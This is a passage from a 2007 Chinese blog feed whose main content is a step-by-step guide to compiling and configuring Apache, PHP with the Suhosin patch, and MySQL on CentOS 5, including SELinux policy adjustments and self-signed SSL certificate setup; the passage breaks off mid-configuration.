src="http://www.phpweblog.net/Emoticons/QQ/shifty.gif" width=20 border=0><br><a href="http://www.ibm.com/developerworks/cn/opensource/os-php-v521/index.html" target=_blank>第 1 部分: 使用新的内存管理器 </a><br><a href="http://www.ibm.com/developerworks/cn/opensource/os-php-v522/index.html" target=_blank>第 2 部分: 使用新输入过滤扩展功能</a> <br><a href="http://www.ibm.com/developerworks/cn/opensource/os-php-v523/index.html" target=_blank>第 3 部分: 使用新的 JSON 扩展</a><br><a href="http://www.ibm.com/developerworks/cn/opensource/os-php-v524/index.html" target=_blank>第 4 部分: 使用新的 ZIP 扩展</a><br><a href="http://www.ibm.com/developerworks/cn/opensource/os-php-v524/index.html" target=_blank>第 5 部分: 跟踪文件上传进度</a> 
<img src ="http://www.phpweblog.net/killjin/aggbug/2395.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-11-26 23:43 <a href="http://www.phpweblog.net/killjin/archive/2007/11/26/2395.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>centos 5.0 编译安装apache 2.2.6+php5.2.5+mysql5.0.46+Zend Optimizer 3.3.0+eacc</title><link>http://www.phpweblog.net/killjin/archive/2007/11/04/2169.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Sun, 04 Nov 2007 10:37:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/11/04/2169.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2169.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/11/04/2169.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2169.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2169.html</trackback:ping><description><![CDATA[<div class=t_msgfont id=postmessage_1394>V2.0 2007年10月14日 操作系统更新为<strong><font color=#ff0000>centos</font></strong> <strong><font color=#ff0000>5.0</font></strong>&nbsp;&nbsp;apache 更新为2.2.6版本， php更新为5.2.5,增加集成Suhosin补丁，mysql 更新为<strong><font color=#ff0000>5.0</font></strong>.46, Zend Optimizer 更新为3.3.0。解决新平台下的一些问题。修正文字错误。<br><br>v1.2 2007年2月12日 apache 更新为2.2.4版本，增加mod_ssl和openssl支持，增加apr和apr-util的编译， php更新为5.2.1,增加集成Suhosin补丁，mysql 更新为<strong><font color=#ff0000>5.0</font></strong>.33, Zend Optimizer 更新为3.2.2，增加phpmyadmin。修改一些文字错误。<br><br>v1.0 2007年1月11日<br><br>先声明，我绝对是个Linux的菜鸟，以下的这些文字个人的安装笔记，是参考了网上许多高手的成功经验组合而成的，说实话我自己的东西不多 ：）我想把这些经验写下来，既可以对其他跟我一样摸索的兄弟一个经验，也可以防止以后自己都忘记了，嘿嘿。<br><br>所以如果某个大虾看到我借用了你的资源，请你不要生气。也欢迎大家进行指点。<br><br>1、下载<strong><font color=#ff0000>centos</font></strong> 5<br>我是下载的DVD版本，大家也可以下载服务器CD安装版本，其实都差不多。大家可以到这儿下载，速度很快的。<br><a href="http://ftp.iasi.roedu.net/mirrors/centos.org/5/isos/i386/CentOS-5.0-i386-bin-DVD.iso" target=_blank>http://ftp.iasi.roedu.net/mirror ... .0-i386-bin-DVD.iso</a><br><br>当然也可以在windows下用BT或迅雷下载，速度也很不错的。<br><br>下载后当然就刻录成光盘。我建议你刻录DVD啦，如果是菜鸟，也可以在图形界面进行学习，不会这么抓不住头脑。<br><br>2、（1）安装CentOS 5<br>作为服务器，不安装不需要的组件，所以在选择组件的时候，除了选择FTP SERVER外取消所有组件的选择。也不要选web服务器。因为我们后面要手动<strong><font color=#ff0000>编译安装</font></strong>。<br><br><br>系统约定RPM包和源码包存放位置<br><br>RPM包和源码包存放位置 /usr/local/src<br>源码包<strong><font color=#ff0000>编译安装</font></strong>位置(prefix) /usr/local/xxx<br>脚本以及维护程序存放位置 /usr/local/sbin<br>MySQL 数据库位置 /var/lib/mysql<br>Apache 网站根目录 /home/www<br>Apache 虚拟主机日志根目录 /data/logs/www<br>yum RPM包信息文件 /etc/yum.list<br><br>3、系统环境部署及调整<br><br>（1）. 检查系统是否正常<br># more /var/log/messages //检查有无系统内核级错误信息<br># demesg //检查硬件设备是否有错误信息<br># ifconfig //检查网卡设置是否正确<br># ping <a href="http://www.163.com/" target=_blank>www.163.com</a> // 检查网络是否正常<br><br>（2）. 关闭不需要的服务<br># export LANG='en_US' //设置语言<br># setup //选择启动的服务<br>进入system service 选项。<br>以space 键选定所需服务。<br>以下仅列出需要启动的服务，未列出的服务一律关闭：<br>crond<br>irqbalance 仅当服务器CPU为S.M.P架构或支持双核心、HT技术时，才需开启，否则关闭。<br>microcode_ctl<br>network<br>vsftpd<br>sshd<br>syslog<br><br>（3）、修改/etc/yum.repos.d/CentOS-Base.repo，将镜象站点地址改为在中国的镜象站点地址。不然我们通过yum安装软件速度会极慢。修改如下：<br><br># CentOS-Base.repo<br>#<br># This file uses a new mirrorlist system developed by Lance Davis for CentOS.<br># The mirror system uses the connecting IP address of the client and the<br># update status of each mirror to pick mirrors that are updated to and<br># geographically close to the client.&nbsp;&nbsp;You should use this for CentOS updates<br># unless you are manually picking other mirrors.<br>#<br># If the mirrorlist= does not work for you, as a fall back you can try the <br># remarked out baseurl= line instead.<br>#<br>#<br><br>[base]<br>name=CentOS-$releasever - Base<br>baseurl=http://mirror.be10.com/<strong><font color=#ff0000>centos</font></strong>/$releasever/os/$basearch/<br>gpgcheck=1<br>gpgkey=http://mirror.<strong><font color=#ff0000>centos</font></strong>.org/<strong><font color=#ff0000>centos</font></strong>/RPM-GPG-KEY-CentOS-5<br>protect=1<br><br>#released updates <br>[updates]<br>name=CentOS-$releasever - Updates<br>baseurl=http://mirror.be10.com/<strong><font color=#ff0000>centos</font></strong>/$releasever/updates/$basearch/<br>gpgcheck=1<br>gpgkey=http://mirror.<strong><font color=#ff0000>centos</font></strong>.org/<strong><font color=#ff0000>centos</font></strong>/RPM-GPG-KEY-CentOS-5<br>protect=1<br><br>#packages used/produced in the build but not released<br>[addons]<br>name=CentOS-$releasever - Addons<br>baseurl=http://mirror.be10.com/<strong><font color=#ff0000>centos</font></strong>/$releasever/addons/$basearch/<br>gpgcheck=1<br>gpgkey=http://mirror.<strong><font color=#ff0000>centos</font></strong>.org/<strong><font color=#ff0000>centos</font></strong>/RPM-GPG-KEY-CentOS-5<br>protect=0<br><br>#additional packages that may be useful<br>[extras]<br>name=CentOS-$releasever - Extras<br>baseurl=http://mirror.be10.com/<strong><font color=#ff0000>centos</font></strong>/$releasever/extras/$basearch/<br>gpgcheck=1<br>gpgkey=http://mirror.<strong><font color=#ff0000>centos</font></strong>.org/<strong><font color=#ff0000>centos</font></strong>/RPM-GPG-KEY-CentOS-5<br>protect=0<br><br>#additional packages that extend functionality of existing packages<br>[<strong><font color=#ff0000>centos</font></strong>plus]<br>name=CentOS-$releasever - Plus<br>baseurl=http://mirror.be10.com/<strong><font color=#ff0000>centos</font></strong>/$releasever/<strong><font color=#ff0000>centos</font></strong>plus/$basearch/<br>gpgcheck=1<br>enabled=0<br>gpgkey=http://mirror.<strong><font color=#ff0000>centos</font></strong>.org/<strong><font color=#ff0000>centos</font></strong>/RPM-GPG-KEY-CentOS-5<br>protect=1<br><br>#contrib - packages by Centos Users<br>[contrib]<br>name=CentOS-$releasever - Contrib<br>baseurl=http://mirror.be10.com/<strong><font color=#ff0000>centos</font></strong>/$releasever/contrib/$basearch/<br>gpgcheck=1<br>enabled=0<br>protect=0<br>gpgkey=http://mirror.<strong><font color=#ff0000>centos</font></strong>.org/<strong><font color=#ff0000>centos</font></strong>/RPM-GPG-KEY-CentOS-5<br><br>#packages in testing<br>[testing]<br>name=CentOS-5 - Testing<br>baseurl=http://mirror.be10.com/<strong><font color=#ff0000>centos</font></strong>/5/testing/i386/<br><br>gpgcheck=1<br>enabled=0<br>protect=0<br><br><br>保存。<br><br>（2）更新系统，我们使用yum,<br><br>然后执行：<br># yum upgrade<br>建议更新所有列出的程序，rhel 5.X的稳定性还要继续努力呢。<br><br><br>（4）、定时校正服务器时间<br># yum install ntp<br># crontab -e<br>0 23 * * * root /usr/sbin/ntpdate 210.72.145.44 &gt; /dev/null 2&gt;&amp;1<br><br>以上命令设置好后存盘。您的机器将在每天的23:00根据中国国家授时中心的NTP服务器时间自动校准时间。<br><br>(5). 对TCP/IP网络参数进行调整，加强抗SYN Flood能力<br># echo 'net.ipv4.tcp_syncookies = 1' &gt;&gt; /etc/sysctl.conf //将net.ipv4.tcp_syncookies = 1写入sysctl.conf 文件<br># sysctl -p //查看<br><br>（6）、FTP服务器的配置<br>vi /etc/vsftpd/vsftpd.conf<br>把anonymous_enable=YES注释掉不允许匿名登录。<br>把chroot_list_enable=YES<br>chroot_list_file=/etc/vsftpd.chroot_list<br>前的注释去掉。<br>把ftpd_banner=*前的注释去掉。后面改成你的欢迎信息(这样设置可以避免显示ftp服务器的版本信息)<br>然后保存，service vsftpd start就可以了。<br><br>这时应当添加用户，因为root默认不能通过FTP方式登录。<br><br># adduser username<br># passwd userpassword<br><br>这样对于我们上传一些文件到系统中很方便。<br><br><br>4. 重新启动系统<br># init 6<br><br><br>5. 使用 yum 程序安装所需开发包（以下为标准的 RPM 包名称）<br># yum install gcc gcc-c++ gcc-g77 flex bison autoconf automake bzip2-devel zlib-devel ncurses-devel libjpeg-devel libpng-devel libtiff-devel freetype-devel pam-devel openssl-devel libxml2-devel<br><br>#这里我们将编译GD所必须的一些小软件比如libpng,libtiff,freetype,libjpeg,等先用RPM的方式一并安装好，避免手动编译浪费时间，同时也能避免很多错误，这几个小软件的编译很麻烦。这几个小软件编译错误了，GD当然安装不了，php5的编译当然也没戏了。所以我们抓大放小，对这些小牛鬼蛇神采取快速简洁的方式进行安装。并且对服务器的性能也不能产生什么影响。<br>另外libxml2系统已经默认安装了，所以我们不需要手工编译了，直接安装它的开发包就行了。<br><br>6. 源码<strong><font color=#ff0000>编译安装</font></strong>所需包 (Source)<br>(1) GD2<br># cd /usr/local/src<br># wget <a href="http://www.boutell.com/gd/http/gd-2.0.34.tar.gz" target=_blank>http://www.boutell.com/gd/http/gd-2.0.34.tar.gz</a><br># tar xzvf gd-2.0.34.tar.gz<br># cd gd-2.0.34<br># CHOST="i686-pc-linux-gnu" CFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" CXXFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -funroll-loops -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" ./configure --prefix=/usr/local/gd2 --mandir=/usr/share/man //./configure 配置。<br><br># make //make 是用来编译的，它从 Makefile 中读取指令，然后编译。<br># make install //make install 是用来安装的，它也从 Makefile 中读取指令，安装到指定的位置。<br><br>(2) Apache 日志截断程序<br># cd /usr/local/src<br># wget <a href="http://cronolog.org/download/cronolog-1.6.2.tar.gz" target=_blank>http://cronolog.org/download/cronolog-1.6.2.tar.gz</a><br># tar xzvf cronolog-1.6.2.tar.gz<br># cd cronolog-1.6.2<br># ./configure --prefix=/usr/local/cronolog<br># make<br># make install<br><br><br>7、编译mysql <strong><font color=#ff0000>5.0</font></strong>.46<br>mysql <strong><font color=#ff0000>5.0</font></strong>.46是企业版本，貌似双数版本都是企业版本了。个人觉得代码质量要比社区版本要好一些。大家可以下载，免费使用。并不需要向mysql公司交钱。<br><br>cd /usr/local/src<br># wget <a href="http://mirror.provenscaling.com/mysql/enterprise/source/5.0/mysql-5.0.46.tar.gz" target=_blank>http://mirror.provenscaling.com/ ... mysql-<strong><font color=#ff0000>5.0</font></strong>.46.tar.gz</a><br># tar xzvf mysql-<strong><font color=#ff0000>5.0</font></strong>.46.tar.gz<br># cd mysql-<strong><font color=#ff0000>5.0</font></strong>.46<br><br>修改mysql 客户端最大连接数， 默认的只有100,远远达不到我们的要求。<br><br># vi sql/mysqld.cc<br><br>搜索找到下面一行：<br>{"max_connections", OPT_MAX_CONNECTIONS,<br>"The number of simultaneous clients allowed.", (gptr*) &amp;max_connections,<br>(gptr*) &amp;max_connections, 0, GET_ULONG, REQUIRED_ARG, 100, 1, 16384, 0, 1,<br>0},<br><br>将其中的100改为1500, 当然小点也可以，根据你的需要来，不建议改的太大。<br><br>{"max_connections", OPT_MAX_CONNECTIONS,<br>"The number of simultaneous clients allowed.", (gptr*) &amp;max_connections,<br>(gptr*) &amp;max_connections, 0, GET_ULONG, REQUIRED_ARG, 1500, 1, 16384, 0, 1,<br>0},<br><br>保存。<br><br># CHOST="i686-pc-linux-gnu" CFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" CXXFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -funroll-loops -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" ./configure --prefix=/usr/local/mysql --localstatedir=/var/lib/mysql --with-comment=Source --with-server-suffix=-enterprise-gpl --with-mysqld-user=mysql --without-debug --with-big-tables --with-charset=utf8 --with-collation=utf8_general_ci --with-extra-charsets=all --with-pthread --enable-static --enable-thread-safe-client --with-client-ldflags=-all-static --with-mysqld-ldflags=-all-static --enable-assembler --without-innodb --without-ndb-debug --without-isam<br><br><br>配置成功会提示：<br><br>MySQL has a Web site at <a href="http://www.mysql.com/" target=_blank>http://www.mysql.com/</a> which carries details on the<br>latest release, upcoming features, and other information to make your<br>work or play with MySQL more productive. There you can also find<br>information about mailing lists for MySQL discussion.<br><br>Remember to check the platform specific part of the reference manual for<br>hints about installing MySQL on your platform. Also have a look at the<br>files in the Docs directory.<br><br>Thank you for choosing MySQL!<br><br>// 注意 ，CHOST="i686-pc-linux-gnu" CFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" CXXFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -funroll-loops -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" 这个环境参数只针对intel P4 芯片，如果你的CPU是AMD的，注意不能使用。请查看相应的编译优化参数。否则程序会无法编译，即使编译成功也无法运行，嘿嘿。<br><br>关于其他CPU的优化请看我的BLOG的一篇转贴：<br><a href="http://www.cnprint.org/bbs/blogs/1/blog43.html" target=_blank>http://www.cnprint.org/bbs/blogs/1/blog43.html</a><br><br><br># make<br>编译的时间可能会比较长，毕竟优化的比较厉害。<br><br># make install<br><br><strong><font color=#ff0000>编译安装</font></strong>完成后执行后续操作：<br># useradd mysql //添加 mysql 用户<br># cd /usr/local/mysql<br># bin/mysql_install_db --user=mysql<br># chown -R root:mysql . //设置权限，注意后面有一个 "."<br># chown -R mysql /var/lib/mysql //设置 mysql 目录权限<br># chgrp -R mysql . //注意后面有一个 "."<br># cp share/mysql/my-medium.cnf /etc/my.cnf<br># cp share/mysql/mysql.server /etc/rc.d/init.d/mysqld //开机自动启动 mysql。<br># chmod 755 /etc/rc.d/init.d/mysqld<br># chkconfig --add mysqld<br># /etc/rc.d/init.d/mysqld start //启动 MySQL<br># bin/mysqladmin -u root password "password_for_root"<br># service mysqld stop //关闭 MySQL<br><br>8. <strong><font color=#ff0000>编译安装</font></strong> Apache<br># cd /usr/local/src<br># wget <a href="http://www.ip97.com/apache.org/httpd/httpd-2.2.6.tar.gz" target=_blank>http://www.ip97.com/apache.org/httpd/httpd-2.2.6.tar.gz</a><br># tar zxvf httpd-2.2.6.tar.gz<br># cd httpd-2.2.6<br><br>依次安装apr和apr-util<br><br># cd srclib/apr<br># CHOST="i686-pc-linux-gnu" CFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" CXXFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -funroll-loops -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" ./configure --prefix=/usr/local/apr --enable-threads --enable-other-child --enable-static<br># make &amp;&amp; make install<br><br># cd ../apr-util<br># CHOST="i686-pc-linux-gnu" CFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" CXXFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -funroll-loops -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" ./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr/ --with-mysql=/usr/local/mysql<br># make &amp;&amp; make install<br><br>cd /usr/local/src/httpd-2.2.6<br># CHOST="i686-pc-linux-gnu" CFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" CXXFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -funroll-loops -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" ./configure --prefix=/usr/local/apache2 --enable-mods-shared=all --with-mysql=/usr/local/mysql --enable-cache --enable-file-cache --enable-mem-cache --enable-disk-cache --enable-static-support --enable-static-htpasswd --enable-static-htdigest --enable-static-rotatelogs --enable-static-logresolve --enable-static-htdbm --enable-static-ab --enable-static-checkgid --disable-cgid --disable-cgi --with-apr=/usr/local/apr/ --with-apr-util=/usr/local/apr-util/ --enable-ssl --with-ssl=/usr/include/openssl<br><br># make<br># make install<br># echo '/usr/local/apache2/bin/apachectl start ' &gt;&gt; /etc/rc.local //将 apachectl 的调用加入到你的系统启动文件中。<br><br>注解：<br>./configure //配置源代码树<br>--prefix=/usr/local/apache2 //体系无关文件的顶级安装目录PREFIX ，也就Apache的安装目录。<br>--enable-module=so //打开 so 模块，so 模块是用来提 DSO 支持的 apache 核心模块<br>--enable-mods-shared=all //编译全部的模板，对于不需要我们可以在httpd.conf去掉。<br>--enable-cache //支持缓存<br>--enable-file-cache //支持文件缓存<br>--enable-mem-cache //支持记忆缓存<br>--enable-disk-cache //支持磁盘缓存<br>--enable-static-support //支持静态连接(默认为动态连接)<br>--enable-static-htpasswd //使用静态连接编译 htpasswd - 管理用于基本认证的用户文件<br>--enable-static-htdigest //使用静态连接编译 htdigest - 管理用于摘要认证的用户文件<br>--enable-static-rotatelogs //使用静态连接编译 rotatelogs - 滚动 Apache 日志的管道日志程序<br>--enable-static-logresolve //使用静态连接编译 logresolve - 解析 Apache 日志中的IP地址为主机名<br>--enable-static-htdbm //使用静态连接编译 htdbm - 操作 DBM 密码数据库<br>--enable-static-ab //使用静态连接编译 ab - Apache HTTP 服务器性能测试工具<br>--enable-static-checkgid //使用静态连接编译 checkgid<br>--disable-cgid //禁止用一个外部 CGI 守护进程执行CGI脚本<br>--disable-cgi //禁止编译 CGI 版本的 PHP<br>--enable-ssl // 编译 ssl模块。<br><br>我们不再使用worker模式编译apache，worker模式和php貌似有一些不协调不稳定之处。所以使用了默认的perfork模式。<br><br>将apache设置成开机自启动:<br><br>在/etc/rc.d/rc.local文件中加入一行<br>/usr/local/apache2/bin/apachectl start<br>这样每次重新启动系统以后,apache也会随系统一起启动.<br><br>或者<br># cp /usr/local/apache2/bin/apachectl /etc/rc.d/init.d/httpd<br>然后 vi /etc/rc.d/init.d/httpd 添加(#!/bin/sh下面)<br># chkconfig: 2345 10 90<br># description: Activates/Deactivates Apache Web Server<br>最后，运行chkconfig把Apache添加到系统的启动服务组里面：<br># chkconfig --add httpd<br># chkconfig httpd on<br><br><br>9、编译php 5.2.5-devel。<br>php 5.2.4有点小BUG，无法在<strong><font color=#ff0000>centos</font></strong> 5上正常编译，官方已经在php5.2.5中修复了。所以我们使用php 5.2.5进行编译。<br>Suhosin是php增强型安全补丁，可以编译到静态内核中，也可以编译成php动态扩展。我个人强烈你建议安装成静态内核。Suhosin已经进入freebsd和gentoo的ports。下面的以下先说静态安装步骤。当然你也可以在安装php后将它编译成php的动态扩展。<br><br># cd /usr/local/src<br># wget <a href="http://cn.php.net/get/php-5.2.5.tar.gz/from/this/mirror" target=_blank>http://cn.php.net/get/php-5.2.5.tar.gz/from/this/mirror</a><br>wget <a href="http://www.hardened-php.net/suhosin/_media/suhosin-patch-5.2.5-0.9.6.2.patch.gz" target=_blank>http://www.hardened-php.net/suho ... .5-0.9.6.2.patch.gz</a><br># tar zxvf php-5.2.5.tar.gz<br># gunzip suhosin-patch-5.2.1-0.9.6.2.patch.gz<br># cd php-5.2.5<br><br># CHOST="i686-pc-linux-gnu" CFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" CXXFLAGS="-O3 -msse2 -mmmx -Wall -W -mfpmath=sse -funroll-loops -mcpu=pentium4 -march=pentium4 -pipe -fomit-frame-pointer" ./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache2/bin/apxs --with-pear=/usr/share/php --with-zlib-dir --with-bz2 --with-libxml-dir=/usr --with-gd=/usr/local/gd2 --enable-gd-native-ttf --enable-gd-jis-conv --with-freetype-dir --with-jpeg-dir --with-png-dir --with-ttf=shared,/usr --enable-mbstring --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-config-file-path=/etc --with-iconv --disable-ipv6 --enable-static --enable-maintainer-zts --enable-zend-multibyte --enable-inline-optimization --enable-zend-multibyte --enable-sockets --enable-soap --with-openssl<br><br>配置成功会提示：<br><br>+--------------------------------------------------------------------+<br>| License:&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;|<br>| This software is subject to the PHP License, available in this&nbsp; &nbsp;&nbsp;&nbsp;|<br>| distribution in the file LICENSE.&nbsp;&nbsp;By continuing this installation |<br>| process, you are bound by the terms of this license agreement.&nbsp; &nbsp;&nbsp;&nbsp;|<br>| If you do not agree with the terms of this license, you must abort |<br>| the installation process at this point.&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; |<br>+--------------------------------------------------------------------+<br><br>Thank you for using PHP.<br><br><br># make<br><br># make install<br><br># cp php.ini-recommended /etc/php.ini<br><br><br>在这里也顺便说一下将suhosin安装成为php的动态扩展的方法。毕竟网上根本不见它的中文安装教程。<br><br>虽然我个人不推荐这种方式。<br><br>wget <a href="http://www.hardened-php.net/suhosin/_media/suhosin-0.9.16.tgz" target=_blank>http://www.hardened-php.net/suhosin/_media/suhosin-0.9.16.tgz</a><br>tar zxvf suhosin-0.9.16.tgz<br>cd suhosin-0.9.16<br>./configure --with-php-config=/usr/local/php/bin/php-config<br>make<br>make install<br><br>会提示编译的模块存在的目录，记住它。<br>Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/<br><br>然后在php.ini中增加一行下列语句。<br>extension=/usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/suhosin.so<br><br>10 、整合apache 与php<br># vi /usr/local/apache2/conf/httpd.conf<br>在最后一行加上：<br>AddType application/x-httpd-php .php<br><br>查找：(设置 WEB 默认文件)<br>DirectoryIndex index.html<br>替换为：<br>DirectoryIndex index.php index.html index.htm //在 WEB 目录不到默认文件，httpd 就会执行 /var/www/error/noindex.html<br><br>找到这一段：<br># AllowOverride controls what directives may be placed in .htaccess files.<br># It can be "All", "None", or any combination of the keywords:<br># Options FileInfo AuthConfig Limit<br>#<br>AllowOverride none<br><br>更改为AllowOverride all<br>允许apache rewrite<br><br># 监听443端口,支持https连接<br>取消注释 httpd.conf 中的 Include conf/extra/httpd-ssl.conf<br><br>保存httpd.conf，退出。<br><br># /usr/local/apache2/bin/apachectl restart //重启 Apache<br><br>这时会出现错误：<br><br>/usr/local/apache2/bin/apachectl start<br>httpd: Syntax error on line 107 of /usr/local/apache2/conf/httpd.conf: Cannot load /usr/local/apache2/modules/libphp5.so into server: /usr/local/apache2/modules/libphp5.so: cannot restore segment prot after reloc: Permission denied<br><br>不急，我们慢慢解决。<br><br>先重启下机器：<br>reboot<br>这个Permission denied问题，在<strong><font color=#ff0000>centos</font></strong> 5下面一般是Selinux引起的，作为生产用服务器，我建议你千万别草率地关掉Selinux一了百了。就像家里的防盗网，阻碍了你的猫自由进出窗户，你不能为了猫方便，就把防盗网简单拆除是同样的道理。我看见网上许多人建议把Selinux简单关闭来解决这个问题，很不以为然。<br>我们可以这样操作：<br><br># audit2allow -d<br>allow initrc_t usr_t:file execmod;<br>allow mount_t default_t:file execute;<br><br><br># cd /etc/selinux/targeted/modules/<br># audit2allow -M local -d<br><br>屏幕产生如下提示：<br><br>产生类型强制文件：local.te<br>正在编译策略<br>checkmodule -M -m -o local.mod local.te<br>semodule_package -o local.pp -m local.mod<br><br>********************重要 ***********************<br><br>为了在内核中加载这个新创建的策略软件包，<br>您需要执行 <br><br>semodule -i local.pp<br><br>我们运行<br><br># semodule -i local.pp<br><br>这样就让Selinux加载了新的规则。<br><br>更详细的内容请看我在BLOG上的转贴：<br><br><a href="http://www.cnprint.org/bbs/blogs/1/blog48.html" target=_blank>http://www.cnprint.org/bbs/blogs/1/blog48.html</a><br><br>reboot<br><br>哈哈，apache不会再报错了吧？<br>这样我保留了selinux的功能，同时apache也能正常运行。<br><br>11. 查看确认 L.A.M.P 环境信息<br>vi /usr/local/apache2/htdocs/phpinfo.php<br><br>新增加下面一行，并保存。<br><br><br><br># chmod 755 /usr/local/apache2/htdocs/phpinfo.php<br><br>用浏览器打开 <a href="http://127.0.0.1/phpinfo.php" target=_blank>http://127.0.0.1/phpinfo.php</a><br><br><br># echo ' ' &gt; /usr/local/apache2/htdocs/testdb.php<br># chmod 755 /usr/local/apache2/htdocs/testdb.php<br># service mysqld start<br>用浏览器打开 <a href="http://127.0.0.1/testdb.php" target=_blank>http://127.0.0.1/testdb.php</a><br>检查 phpinfo 中的各项信息是否正确。<br><br>12、设置SSL并创建自己的CA<br><br># cd /usr/share/ssl/misc<br><br># ./CA -newca<br><br>屏幕上出现如下的提示:CA certificate filename (or enter to create)<br><br>这是要求输入要创建的CA的证书文件名, 可以直接回车或输入证书文件名。<br><br>Making CA certificate ...<br>Generating a 1024 bit RSA private key<br>.........++++++<br>................................++++++<br>writing new private key to './demoCA/private/./cakey.pem'<br>Enter PEM pass phrase:<br><br>Verifying password - Enter PEM pass phrase:-<br><br>此时要求输入和验证CA的私钥口令、国家代码（中国是CN）、省份、城市或地区、组织或企业名称、部门名称、CA的名称或服务器的主机名称、管理员电子邮件地址。<br><br>至此,在当前目录下生成了demoCA的目录,CA的证书就在该目录下,文件名为cacert.pem<br><br>生成服务器的证书请求<br><br># ./CA -newreq<br><br>屏幕上出现如下的提示:<br><br>Generating a 1024 bit RSA private key<br>.....................................................++++++<br>.....++++++<br>writing new private key to 'newreq.pem'<br>Enter PEM pass phrase:<br>Verifying password - Enter PEM pass phrase:<br><br>此时要求输入和验证服务器的私钥口令、国家代码（中国是CN）、省份、城市或地区、组织或企业名称、部门名称、CA的名称或服务器的主机名称、管理员电子邮件地址。<br><br>Please enter the following 'extra' attributes<br><br>to be sent with your certificaterequest<br><br>A challenge password []:<br><br>An optional company name []:<br><br>.Request (and private key) is in newreq.pem<br><br>这是要求输入服务器的相关信息。<br><br>此时,在当前目录下生成了一个名为newreq.pem的文件,包含了要生成服务器数字证书的请求。<br><br>签署证书<br><br># ./CA -sign<br><br>屏幕上出现如下的提示:<br><br>Using configuration from /usr/share/ssl/openssl.cnf<br><br>Enter PEM pass phrase:<br><br>此时一样需要输入CA的私钥口令、国家代码（中国是CN）、省份、城市或地区、组织或企业名称、部门名称、CA的名称或服务器的主机名称、管理员电子邮件地址。<br><br>Certificate is to be certified until Nov 19 13:46:19 2002 GMT (365 days)<br><br>Sign the certificate? [y/n]:y<br><br>这时显示证书请求文件中的各项信息,并询问是否要签署证书，回答y，进行签署。<br><br>1 out of 1 certificate requests certified, commit? [y/n]y<br><br>回答y,会显示已经签署的证书的信息,并在当前目录下生成服务器的证书文件newcert.pem。<br><br># mkdir /usr/local/apache2/conf/ssl.crt/<br># mkdir /usr/local/apache2/conf/ssl.key/<br># cp newcert.pem /usr/local/apache2/conf/ssl.crt/server.pem<br># cp newreq.pem /usr/local/apache2/conf/ssl.key/server.pem<br><br><br>更改服务器的证书文件的相关配置<br># vi /usr/local/apache2/conf/extra/httpd-ssl.conf<br><br>查找并修改<br><br># Server Certificate:<br># Point SSLCertificateFile at a PEM encoded certificate. If<br># the certificate is encrypted, then you will be prompted for a<br># pass phrase. Note that a kill -HUP will prompt again. Keep<br># in mind that if you have both an RSA and a DSA certificate you<br># can configure both in parallel (to also allow the use of DSA<br># ciphers, etc.)<br>SSLCertificateFile /usr/local/apache2/conf/ssl.crt/server.pem<br>#SSLCertificateFile /usr/local/apache2/conf/server-dsa.crt<br><br># Server Private Key:<br># If the key is not combined with the certificate, use this<br># directive to point at the key file. Keep in mind that if<br># you've both a RSA and a DSA private key you can configure<br># both in parallel (to also allow the use of DSA ciphers, etc.)<br>SSLCertificateKeyFile /usr/local/apache2/conf/ssl.key/server.pem<br>#SSLCertificateKeyFile 